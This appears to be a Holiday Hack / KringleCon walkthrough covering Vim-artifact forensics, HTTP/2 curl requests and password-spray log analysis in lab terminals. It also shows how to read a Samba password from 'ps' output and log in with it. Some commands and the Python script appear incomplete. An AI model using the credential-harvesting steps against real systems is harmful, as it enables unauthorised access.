    Tangle also suggests the following site: Forensic Relevance of Vim Artifacts

  • Relevant KringleCon Videos



When we open the terminal, we see:

Christmas is coming, and so it would seem,
ER (Elf Resources) crushes elves' dreams.
One tells me she was disturbed by a bloke.
He tells me this must be some kind of joke.

Please do your best to determine what's real.
Has this jamoke, for this elf, got some feels?
Lethal forensics ain't my cup of tea;
If YOU can fake it, my hero you'll be.

One more quick note that might help you complete,
Clearing this mess up that's now at your feet.
Certain text editors can leave some clue.
Did our young Romeo leave one for you?

- Tangle Coalbox, ER Investigator

  Find the first name of the elf of whom a love poem 
  was written.  Complete this challenge by submitting 
  that name to runtoanswer.


This one seems pretty straightforward. We have a single hint, and the hint only discusses the importance of the .viminfo file. Let's take a look at that, but before we do anything, we want to do two things: Look at the metadata, and copy the file so that we don't accidentally modify it (by opening vim, say):

elf@viminfo:~$ stat .viminfo > .viminfo_metadata
elf@viminfo:~$ cp .viminfo .viminfo.original
elf@viminfo:~$ cat .viminfo_metadata 
  File: .viminfo
  Size: 5063            Blocks: 16         IO Block: 4096   regular file
Device: 801h/2049d      Inode: 424344      Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/     elf)   Gid: ( 1000/     elf)
Access: 2018-12-14 16:13:20.000000000 +0000
Modify: 2018-12-14 16:13:20.000000000 +0000
Change: 2018-12-16 00:28:58.687164035 +0000
Birth: -    

To start, we need to figure out what love poem was written. The "Forensic Relevance of Vim Artifacts" web page has this to say:

File marks are among the last items in most .viminfo files and essentially consist of a list of files that have been opened with Vim. A ‘mark’ allows a user to record their location in a file they were editing, like a bookmark of sorts, which they can jump back to. On Linux systems, the “History of marks within files” section of .viminfo records the last 20 files that were opened using the Vim editor, along with their file path (relative to the user) and epoch timestamp.

As we view the .viminfo.original file, it's fairly obvious that only one file was recently opened:

# History of marks within files (newest to oldest):
> ~/.secrets/her/poem.txt
	*       1536607217      0
	"       34      2
	^       24      57
	.       20      0

Opening up ~./secrets/her/poem.txt:

Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure–
  There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door–
  Only this and nothing more."

Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
  But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
  Oh, 'twould make his heart resound!

Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
  Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
  NEVERMORE in tinsel stocking!

Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
  Of good fortune fates had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding–
No - they shouldn't but consider taking flight in sleigh and riding
  Up above the Pole abiding?

Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
  So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
  By his lovely NEVERMORE!

-Morcel Nougat

NEVERMORE seems like an odd name for an elf, and submitting this to runtoanswer yields:

Who was the poem written about? NEVERMORE
Sorry, I don't think that's what the forensic data shows.

Returning to our .viminfo file, we see:

# Last Substitute Search Pattern:

# Last Substitute String:

# Command Line History (newest to oldest):

It seems like our elf did a find-and-replace on "Elinore," replacing all instances with "NEVERMORE."

elf@viminfo:~$ ./runtoanswer

Loading, please wait......

Who was the poem written about? Elinore

WWNXXKK00OOOxddddollcccll:;,;:;,'...,,.....'',,''.    .......    .''''''       
WWNXXXKK0OOkxdxxxollcccoo:;,ccc:;...:;...,:;'...,:;.  ,,....,,.  ::'....       
WWNXXXKK0OOkxdxxxollcccoo:;,cc;::;..:;..,::...   ;:,  ,,.  .,,.  ::'...        
WWNXXXKK0OOkxdxxxollcccoo:;,cc,';:;':;..,::...   ,:;  ,,,',,'    ::,'''.       
WWNXXXK0OOkkxdxxxollcccoo:;,cc,'';:;:;..'::'..  .;:.  ,,.  ','   ::.           
WWNXXXKK00OOkdxxxddooccoo:;,cc,''.,::;....;:;,,;:,.   ,,.   ','  ::;;;;;       

Thank you for solving this mystery, Slick.
Reading the .viminfo sure did the trick.
Leave it to me; I will handle the rest.
Thank you for giving this challenge your best.

-Tangle Coalbox
-ER Investigator




We actually see a bit more history in the .viminfo file:

elf@viminfo:~$ grep '/g' .viminfo.original 

We can use sed to reverse some of these changes. Though, if we replace "tenor" with "sound," to undo the earliest change, we have no way of knowing which instances of "tenor" were there originally:

sed -e 's/tenor/sound/g' -e 's/looking/studied/g' -e 's/fates/God/gi' -e 's/NEVERMORE/Elinore/g' .secrets/her/poem.txt

And we recover the following poem:

Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure–
  There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door–
  Only this and nothing more."

Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
  But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
  Oh, 'twould make his heart resound!

Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
  Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and studied nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
  Elinore in tinsel stocking!

Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
  Of good fortune God had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding–
No - they shouldn't but consider taking flight in sleigh and riding
  Up above the Pole abiding?

Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
  So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
  By his lovely Elinore!

-Morcel Nougat


For this terminal, the hint was a big help. By looking at the .viminfo file, we could reconstruct the changes made to the file, and learned that someone had replaced Elinore's name with NEVERMORE.

Samba Mucking Report


Complete this challenge by uploading the elf's report.txt file to the samba share at //localhost/report-upload/.


  • Elf Chat

    Wunorse tells us:

    What was that password?

    Golly, passwords may be the end of all of us. Good guys can't remember them, and bad guess can guess them!

    I've got to upload my chore report to my manager's inbox, but I can't remember my password.

    Still, with all the automated tasks we use, I'll bet there's a way to find it in memory…

  • Badge Hint

    Talking to Wunorse unlocks the following hint in our badge: Keeping Command Line Passwords Out of PS

  • Relevant KringleCon Videos



Opening the terminal, we're greeted with:

Thank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
My report is now due or my KRINGLE's in a sling!

There's a samba share here on this terminal screen.
What I normally do is to upload the file,
With our network credentials (we've shared for a while).
When I try to remember, my memory's clean!

Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.
Could there be buried hints or some way to contort,
Gaining access - oh please now do give it your best!

-Wunorse Openslae

Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/


The hint links us to a page that discusses risks when passwords are passed on the command line, such as being able to view it with the process status command ps. Let's try it:

elf@plaintext-creds:~$ ps
19 pts/0    00:00:00 bash
73 pts/0    00:00:00 ps

Not a whole lot of information. By default, ps only shows us a couple of fields, and only for processes we own (and our associated with our current terminal). We can read ps's manual page with man ps, which has the following snippet:

   a      Lift the BSD-style "only yourself" restriction...

Let's try it:

elf@plaintext-creds:~$ ps a
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   10 pts/0    S      0:00 sudo -u manager /home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special -
   11 pts/0    S      0:00 sudo -E -u manager /usr/bin/python /home/manager/
   15 pts/0    S      0:00 /usr/bin/python /home/manager/
   16 pts/0    S      0:00 /bin/bash /home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr
   18 pts/0    S      0:00 sudo -u elf /bin/bash
   19 pts/0    S      0:00 /bin/bash
  117 pts/0    S      0:00 sleep 60
  135 pts/0    R+     0:00 ps a

That looks better. We can see there's a process, and a process. The samba-wrapper process is particularly interesting, as it seems to have a bunch of command-line arguments. However, by default, ps truncates them to the width of our terminal. Simple solution: zoom out our browser window.

elf@plaintext-creds:~$ ps a
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   10 pts/0    S      0:00 sudo -u manager /home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
   11 pts/0    S      0:00 sudo -E -u manager /usr/bin/python /home/manager/
   15 pts/0    S      0:00 /usr/bin/python /home/manager/
   16 pts/0    S      0:00 /bin/bash /home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
   18 pts/0    S      0:00 sudo -u elf /bin/bash
   19 pts/0    S      0:00 /bin/bash
  137 pts/0    S      0:00 sleep 60
  140 pts/0    R+     0:00 ps a

The end of the command is //localhost/report-upload/ directreindeerflatterystable -U report-upload. A less hacky solution is to use more ps arguments to see the entire command:

OUTPUT MODIFIERS … –cols n Set screen width.

elf@plaintext-creds:~$ ps a --columns 500  
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   10 pts/0    S      0:00 sudo -u manager /home/manager/ --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppr
ess //localhost/report-upload/ directreindeerflatterystable -U report-upload

At this point, we suspect that "directreindeerflatterystable" is our password. Now we need to figure out how to copy it to the //localhost/report-upload/ SMB share. Some Googling points us to the smbclient command:

elf@plaintext-creds:~$ smbclient -h
Usage: smbclient ... [-U|--user=USERNAME] ... service <password>

smbclient has a lot of options, but as we parse the usage information, it seems like the snippet recoverd from the end of should just work:

elf@plaintext-creds:~$ smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \> pwd
Current directory is \\localhost\report-upload\

Uploading the report is as simple as:

smb: \> put report.txt
putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)

Once we do so, the following happens:

smb: \> Terminated

			   ..KM; Stall Mucking ,MN..                           
			 OMNXNMd.             .oMWXXM0.                        
			;MO   l0NNNNNNNNNNNNNNN0o   xMc                        
			:MO                         xMl             '.         
			:MO   dOOOOOOOOOOOOOOOOOd.  xMl             :l:.       
 .cc::::::::;;;;;;;;;;;,oMO  .0NNNNNNNNNNNNNNNNN0.  xMd,,,,,,,,,,,,,clll:.     
 'kkkkxxxxxddddddoooooooxMO   ..'''''''''''.        xMkcccccccllllllllllooc.   
 'kkkkxxxxxddddddoooooooxMO  .MMMMMMMMMMMMMM,       xMkcccccccllllllllllooool  
 'kkkkxxxxxddddddoooooooxMO   '::::::::::::,        xMkcccccccllllllllllool,   
 .ooooollllllccccccccc::dMO                         xMx;;;;;::::::::lllll'     
			:MO  .ONNNNNNNNXk           xMl             :lc'       
			:MO   dOOOOOOOOOo           xMl             ;.         
			:MO   'cccccccccccccc:'     xMl                        
			:MO  .WMMMMMMMMMMMMMMMW.    xMl                        
			:MO    ...............      xMl                        

You have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
Going forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.

-Wunorse Openslae    


We ran ps, with some extra arguments to see all of the command-line arguments, and recovered the username and password for the SMB share. We then copied the report to the share with smbclient.

HTTP2 CURLing Master


Complete this challenge by submitting the right HTTP request to the server at http://localhost:8080/ to get the candy striper started again.


  • Elf Chat

    Holly has the following plight:

    Oh that Bushy!

    Sorry to vent, but that brother of mine did something strange.

    The trigger to restart the Candy Striper is apparently an arcane HTTP call or 2.

    I sometimes wonder if all IT folk do strange things with their home networks…

  • Badge Hint

    Holly links us to: HTTP/2.0 Basics

  • Relevant KringleCon Videos


Once we open the terminal, we see a curling stone and the following message:

I am Holly Evergreen, and now you won't believe:
Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.
Darned if I can CURL it on - my Linux skills apall.

Could you be our CURLing master - fixing up this mess?
If you are, there's one concern you surely must address.
Something's off about the conf that Bushy put in place.
Can you overcome this snag and save us all some face?

  Complete this challenge by submitting the right HTTP 
  request to the server at http://localhost:8080/ to 
  get the candy striper started again. You may view 
  the contents of the nginx.conf file in 
  /etc/nginx/, if helpful.    


The terminal tells us to check out /etc/nginx/nginx.conf, so we do that. The following comment catches our attention:

server {
# love using the new stuff! -Bushy
    listen                  8080 http2;
    # server_name           localhost;
    root /var/www/html;

The web server has HTTP2 enabled. We read the page that Holly linked us to, but what we're really looking for is how to use the curl command with HTTP2. Chris Elgee's video gives us the following command, which we've adapted for our server running on localhost, port 8080:

elf@http2:~$ curl -v --http2 http://localhost:8080/
*   Trying
* Connected to localhost ( port 8080 (#0)
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.52.1
> Accept: */*
> Connection: Upgrade, HTTP2-Settings
> Upgrade: h2c
* Curl_http_done: called premature == 0

Well, that didn't work. Let's try to find out more about the --http2 flag. We can run curl --help, and see:

--http2                  Use HTTP 2 (H)
--http2-prior-knowledge  Use HTTP 2 without HTTP/1.1 Upgrade (H)

Let's try doing it without the HTTP/1.1 upgrade:

elf@http2:~$ curl -v --http2-prior-knowledge http://localhost:8080/
*   Trying
* Connected to localhost ( port 8080 (#0)
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x55e0a5cbedc0)
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.52.1
> Accept: */*
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
< HTTP/2 200 
< server: nginx/1.10.3
< date: Sat, 12 Jan 2019 21:06:41 GMT
< content-type: text/html; charset=UTF-8
  <title>Candy Striper Turner-On'er</title>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact

Ok! Now, instead of sending an empty GET, we need to send a POST with the right paramter. Once again, we'll return to the help output:

-d, --data DATA HTTP POST data (H)

Easy enough:

elf@http2:~$ curl -v --http2-prior-knowledge --data 'status=on' http://localhost:8080/
*   Trying
* Connected to localhost ( port 8080 (#0)
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x563dc369cdc0)
> POST / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.52.1
> Accept: */*
> Content-Length: 9
> Content-Type: application/x-www-form-urlencoded
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
* We are completely uploaded and fine
< HTTP/2 200 
< server: nginx/1.10.3
< date: Sat, 12 Jan 2019 21:08:29 GMT
< content-type: text/html; charset=UTF-8
  <title>Candy Striper Turner-On'er</title>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

  ''''''       .''''''       .''''''       .:::;   ':okKXXXXXXXX0Oxcooddool,   
 .c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc     

Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.

-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.

* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact

Alternative solution

This system had some interesting commands in the bash history:

elf@http2:~$ grep curl .bash_history 
curl --http2-prior-knowledge http://localhost:8080/index.php


We found a comment from Bushy in the nginx config, which told us that HTTP2 was enabled on this system. Using a combination of Chris Elgee's talk and the curl help output, we figured out the correct parameters to have curl be able to send the request as HTTP2 (without trying to HTTP/1.1 and doing an upgrade to HTTP2 first). Then, the output from the page told us that we needed to submit a POST request, with status=on.

Windows Yule Log Analysis


Submit the compromised webmail username to runtoanswer to complete this challenge.


  • Elf Chat

    Pepper Minstix tells us:

    Have you heard of password spraying? It seems we've been victim.

    We fear that they were successful in accessing one of our Elf Web Access accounts, but we don't know which one.

    Parsing through .evtx files can be tricky, but there's a Python script that can help you convert it into XML for easier grep'ing.

  • Badge Hint

    Pepper promptly points password penetration people to Password Spraying.

  • Relevant KringleCon Videos


When we start the Cranberry Pi, we get the following message:

I am Pepper Minstix, and I'm looking for your help.
Bad guys have us tangled up in pepperminty kelp!
"Password spraying" is to blame for this our grinchly fate.
Should we blame our password policies which users hate?

Here you'll find a web log filled with failure and success.
One successful login there requires your redress.
Can you help us figure out which user was attacked?
Tell us who fell victim, and please handle this with tact...

  Submit the compromised webmail username to 
  runtoanswer to complete this challenge.

Checking our home directory, we see:

elf@spray-detect:~$ ls  ho-ho-no.evtx  runtoanswer must be the Python script Pepper was referring to, for converting ho-ho-no.evtx to XML.


First, we figure out how to run

elf@spray-detect:~$ python
usage: [-h] evtx error: too few arguments
elf@spray-detect:~$ python ho-ho-no.evtx
<?xml version="1.1" encoding="utf-8" standalone="yes" ?>
<Event xmlns=""><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4647</EventID>

Next, we'll save the XML version to a file, so we're not waiting on the Python script to re-parse the events each time.

elf@spray-detect:~$ python ho-ho-no.evtx > ho-ho-no.xml

At this point, we follow along in Beau's video. We learn that password spraying involves trying a single password across a large number of accounts. That way, account lockout polices don't trigger. He also mentions that a good way to try this is via e-mail servers like OWA, using his tool, MailSniper. Given that Pepper's hint is about MailSniper, we suspect that this is likely the vector being used.

Taking a closer look at our logs, we see events such as:

<Event xmlns="">
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
        <EventID Qualifiers="">4647</EventID>
        <TimeCreated SystemTime="2018-09-10 12:18:26.972103"></TimeCreated>
        <Correlation ActivityID="{fd18dc13-48f8-0001-58dc-18fdf848d401}" RelatedActivityID=""></Correlation>
        <Execution ProcessID="660" ThreadID="752"></Execution>
        <Security UserID=""></Security>
        <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data>
        <Data Name="TargetUserName">Administrator</Data>
        <Data Name="TargetDomainName">EM.KRINGLECON</Data>
        <Data Name="TargetLogonId">0x0000000000969b09</Data>

Let's start by seeing which systems we have log data from. To do this, we'll use the grep command, to only return lines from the file which match our search term, and then we'll use the pipe (|) operator to pass those lines to sort. Finally, we'll pass the sorted lines to the uniq ("unique") command, which will only print a line if it's different from the line above it. sort and uniq are often used together in this way, since uniq only compares the line to the line above it when deciding whether or not to print it.

elf@spray-detect:~$ grep '<Computer>' ho-ho-no.xml | sort | uniq

We only have logs from a single system, which we suspect to be an Exchange Server 2016 from its hostname. Let's see what events we have:

elf@spray-detect:~$ grep 'EventID' ho-ho-no.xml | sort | uniq
<EventID Qualifiers="">4608</EventID>
<EventID Qualifiers="">4624</EventID>
<EventID Qualifiers="">4625</EventID>
<EventID Qualifiers="">4647</EventID>
<EventID Qualifiers="">4688</EventID>
<EventID Qualifiers="">4724</EventID>
<EventID Qualifiers="">4738</EventID>
<EventID Qualifiers="">4768</EventID>
<EventID Qualifiers="">4769</EventID>
<EventID Qualifiers="">4776</EventID>
<EventID Qualifiers="">4799</EventID>
<EventID Qualifiers="">4826</EventID>
<EventID Qualifiers="">4902</EventID>
<EventID Qualifiers="">4904</EventID>
<EventID Qualifiers="">5024</EventID>
<EventID Qualifiers="">5033</EventID>
<EventID Qualifiers="">5059</EventID>

A bit of research gives us names to go with these EventIDs:

Event ID Event Name
4608 Windows is starting up
4624 An account was successfully logged on
4625 An account failed to log on
4647 User initiated logoff
4688 A new process has been created
4724 An attempt was made to reset an accounts password
4738 A user account was changed
4768 A Kerberos authentication ticket (TGT) was requested
4769 A Kerberos service ticket was requested
4776 The domain controller attempted to validate the credentials for an account
4799 A security-enabled local group membership was enumerated
4826 Boot Configuration Data loaded
4902 The Per-user audit policy table was created
4904 An attempt was made to register a security event source
5024 The Windows Firewall Service has started successfully
5033 The Windows Firewall Driver has started successfully
5059 Key migration operation

4624 and 4625 seem interesting. Let's update our previous command to include the number of occurences of each event by using -c, --count prefix lines by the number of occurrences:

elf@spray-detect:~$ grep 'EventID' ho-ho-no.xml | sort | uniq -c
      1 <EventID Qualifiers="">4608</EventID>
    756 <EventID Qualifiers="">4624</EventID>
    212 <EventID Qualifiers="">4625</EventID>
      1 <EventID Qualifiers="">4647</EventID>

So, we've had 756 accounts successful logon attempts, and 212 failed ones.

<Event xmlns="">
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
        <EventID Qualifiers="">4624</EventID>
        <TimeCreated SystemTime="2018-09-10 12:19:20.695601"></TimeCreated>
        <Correlation ActivityID="" RelatedActivityID=""></Correlation>
        <Execution ProcessID="664" ThreadID="668"></Execution>
        <Security UserID=""></Security>
        <Data Name="SubjectUserSid">S-1-0-0</Data>
        <Data Name="SubjectUserName">-</Data>
        <Data Name="SubjectDomainName">-</Data>
        <Data Name="SubjectLogonId">0x0000000000000000</Data>
        <Data Name="TargetUserSid">S-1-5-18</Data>
        <Data Name="TargetUserName">SYSTEM</Data>
        <Data Name="TargetDomainName">NT AUTHORITY</Data>
        <Data Name="TargetLogonId">0x00000000000003e7</Data>
        <Data Name="LogonType">0</Data>
        <Data Name="LogonProcessName">-</Data>
        <Data Name="AuthenticationPackageName">-</Data>
        <Data Name="WorkstationName">-</Data>
        <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
        <Data Name="TransmittedServices">-</Data>
        <Data Name="LmPackageName">-</Data>
        <Data Name="KeyLength">0</Data>
        <Data Name="ProcessId">0x0000000000000004</Data>
        <Data Name="ProcessName"></Data>
        <Data Name="IpAddress">-</Data>
        <Data Name="IpPort">-</Data>
        <Data Name="ImpersonationLevel">-</Data>
        <Data Name="RestrictedAdminMode">-</Data>
        <Data Name="TargetOutboundUserName">-</Data>
        <Data Name="TargetOutboundDomainName">-</Data>
        <Data Name="VirtualAccount">%%1843</Data>
        <Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
        <Data Name="ElevatedToken">%%1842</Data>
<Event xmlns="">
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
        <EventID Qualifiers="">4625</EventID>
        <TimeCreated SystemTime="2018-09-10 12:41:50.900736"></TimeCreated>
        <Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
        <Execution ProcessID="664" ThreadID="712"></Execution>
        <Security UserID=""></Security>
        <Data Name="SubjectUserSid">S-1-5-18</Data>
        <Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
        <Data Name="SubjectDomainName">EM.KRINGLECON</Data>
        <Data Name="SubjectLogonId">0x00000000000003e7</Data>
        <Data Name="TargetUserSid">S-1-0-0</Data>
        <Data Name="TargetUserName">sparkle.redberry</Data>
        <Data Name="TargetDomainName">EM.KRINGLECON</Data>
        <Data Name="Status">0xc000006d</Data>
        <Data Name="FailureReason">%%2313</Data>
        <Data Name="SubStatus">0xc000006a</Data>
        <Data Name="LogonType">8</Data>
        <Data Name="LogonProcessName">Advapi  </Data>
        <Data Name="AuthenticationPackageName">Negotiate</Data>
        <Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
        <Data Name="TransmittedServices">-</Data>
        <Data Name="LmPackageName">-</Data>
        <Data Name="KeyLength">0</Data>
        <Data Name="ProcessId">0x00000000000019f0</Data>
        <Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
        <Data Name="IpAddress"></Data>
        <Data Name="IpPort">47904</Data>

At this point, there's a few ways we can proceed to analyze the logs. However, parsing XML data becomes tricky with the standard *NIX text-processing tools (grep, sed, awk, etc.). Instead, we'll write up a Python script:

from xml.dom import minidom

event_names = {'4624': 'Success', '4625': 'Failure'}

# Parse the file
xmldoc = minidom.parse('ho-ho-no.xml')

# Top-node: <Event>
events = xmldoc.getElementsByTagName('Event')

for event in events:
    # Each Event has <System> and <EventData>
    system = event.getElementsByTagName('System')[0]
    eventdata = event.getElementsByTagName('EventData')[0]
    eventid = system.getElementsByTagName('EventID')[0].firstChild.nodeValue

    if eventid not in event_names.keys():
        # We don't care about other events

    # EventData has one ore more <Data> elements
    data_nodes = eventdata.getElementsByTagName('Data')
    for data in data_nodes:
        if data.attributes['Name'].nodeValue == 'TargetUserName':
            print event_names[eventid], data.firstChild.nodeValue

When we run the script, we get the authentication result, and the username. The last lines printed are along the lines of:

elf@spray-detect:~$ python
Success HealthMailboxbe58608
Success HealthMailboxbe58608
Success HealthMailboxbe58608
Success HealthMailboxbab78a6
Success HealthMailboxbe58608
Success HealthMailboxbab78a6
Success HealthMailboxbe58608
Success HealthMailboxbe58608
Success HealthMailboxbe58608
Success HealthMailboxbe58608
Success HealthMailboxbe58608

We can use grep to ignore the mailbox. This time, we'll use the -v flag: -v, --invert-match Selected lines are those not matching any of the specified patterns.

elf@spray-detect:~$ python | grep -v HealthMailbox
Failure steven.smith
Failure sugerplum.mary
Failure sunil.kumar
Failure suresh.kumar
Failure tim.smith
Failure tom.smith
Failure tyler.smith
Failure vijay.kumar
Failure vinod.kumar
Failure wunorse.openslae
Success minty.candycane
Success wunorse.openslae
Success SYSTEM

This does look like a password spraying attack. We see a large number of failures, going alphabetically. Interestingly, it seems like SugarPlum Mary's account name is misspelled, leading more credence to the theory that the attacker is going off of a list of usernames.

After the failures, we see successful logins for Minty and Wunorse. To get a better sense of what's going on, we'll update our script to add the timestamp and IP address as well:

2018-09-10 12:54:56.034510 Failure test.user
2018-09-10 12:58:07.518818 Success shinny.upatree
2018-09-10 13:03:33.271959 Failure aaron.smith
2018-09-10 13:03:34.075348 Failure abhishek.kumar
2018-09-10 13:03:34.660316 Failure adam.smith
2018-09-10 13:03:35.204905 Failure ahmed.ali
2018-09-10 13:03:35.766270 Failure ahmed.hassan
2018-09-10 13:05:03.702278 Success minty.candycane
2018-09-10 13:05:37.099594 Failure tyler.smith
2018-09-10 13:05:37.695000 Failure vijay.kumar
2018-09-10 13:05:38.474575 Failure vinod.kumar
2018-09-10 13:05:39.123190 Failure wunorse.openslae
2018-09-10 13:07:02.556292 Success minty.candycane
2018-09-10 13:10:18.123104 Success wunorse.openslae
2018-09-10 13:13:16.175577 Success SYSTEM -

It looks like the attack started at 12:54, with "test.user," then proceeded alphabetically, ending about 10 minutes later, at 13:05. All of those attempts came from the same IP address,

As the attacker was trying passwords, they were able to successfully login as minty.candycane. After the attack ended, they logged in as minty.candycane again. Her account is the only account from that IP address that had a successful login.

elf@spray-detect:~$ ./runtoanswer 
Loading, please wait......

Whose account was successfully accessed by the attacker's password spray? minty.candycane


Silly Minty Candycane, well this is what she gets.
"Winter2018" isn't for The Internets.
Passwords formed with season-year are on the hackers' list.
Maybe we should look at guidance published by the NIST?


Silly Minty, indeed. If only she had listened to Beau's talk…




Using the provided script, we converted the event logs to XML. Using basic \*NIX text-processing tools, we got an overview of the logs, then wrote a Python script to print out the relevant details. The password spraying attack was easy to spot, and all the attempts came from a single IP address. Only one user, minty.candycane, had a successful login from that IP.

Git Dev Ops Fail


Find Sparkle's password, then run the runtoanswer tool.


  • Elf Chat

    Sparkle Redberry asks us to help her by saying:

    Ugh, can you believe that Elf Resources is poking around? Something about sensitive info in my git repo.

    I mean, I may have uploaded something sensitive earlier, but it's no big deal. I overwrote it!

    Care to check my Cranberry Pi terminal and prove me right?

  • Badge Hint

    To help us, Sparkle provides two links: Finding Passwords in Git and Git Cheat Sheet.

  • Relevant KringleCon Videos

    Brian Hostetler, Buried Secrets: Digging Deep Through Cloud Repositories seems relevant, but it relies on using tools to search for secrets; something we can't easily do on the terminal.


Once we connect:

Coalbox again, and I've got one more ask.
Sparkle Q. Redberry has fumbled a task.
Git pull and merging, she did all the day;
With all this gitting, some creds got away.

Urging - I scolded, "Don't put creds in git!"
She said, "Don't worry - you're having a fit.
If I did drop them then surely I could,
Upload some new code done up as one should."

Though I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our "oops,"
Please find it fast before some other snoops!

Find Sparkle's password, then run the runtoanswer tool.


First, we see what we're working with:

elf@gitpasshist:~$ ls
kcconfmgmt  runtoanswer
elf@gitpasshist:~$ cd kcconfmgmt/
elf@gitpasshist:~/kcconfmgmt$ ls  app.js  package-lock.json  package.json  public  routes  server  views
elf@gitpasshist:~/kcconfmgmt$ ls --all
.  ..  .git  app.js  package-lock.json  package.json  public  routes  server  views

